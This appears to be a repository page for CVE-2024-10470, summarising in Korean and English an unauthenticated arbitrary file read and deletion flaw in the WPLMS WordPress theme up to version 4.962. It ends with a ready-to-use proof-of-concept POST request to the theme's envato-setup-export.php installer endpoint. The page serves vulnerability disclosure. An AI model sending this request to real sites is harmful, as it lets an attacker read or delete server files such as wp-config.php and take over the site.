randomrobbiebf/cve-2024-10470WPLMS WordPress용 학습 관리 시스템 <= 4.962 – 인증되지 않은 임의 파일 읽기 및 삭제
WPLMS Learning Management System for WordPress <= 4.962 – 인증되지 않은 임의 파일 읽기 및 삭제
WordPress용 WPLMS 학습 관리 시스템, WordPress LMS 테마는 readfile 및 unlink 함수의 불충분한 파일 경로 검증 및 권한 확인으로 인해 모든 버전(4.962 포함)에서 임의 파일 읽기 및 삭제에 취약합니다. 이로 인해 인증되지 않은 공격자가 서버에서 임의 파일을 삭제할 수 있으며, 적절한 파일(예: wp-config.php)이 삭제되면 원격 코드 실행으로 쉽게 이어질 수 있습니다. 이 테마는 비활성화된 상태에서도 취약합니다.
Affected Theme: WPLMS Learning Management System for WordPress
Theme Slug: wplms
Affected Versions: <= 4.962
CVE ID: CVE-2024-10470
CVSS Score: 9.8 (Critical)
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Researcher/s: Foxyyy
Fully Patched Version: 4.963
POST /wp-content/themes/wplms/setup/installer/envato-setup-export.php HTTP/1.1
Host: kubernetes.docker.internal
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
download_export_zip=1&zip_file=.htaccess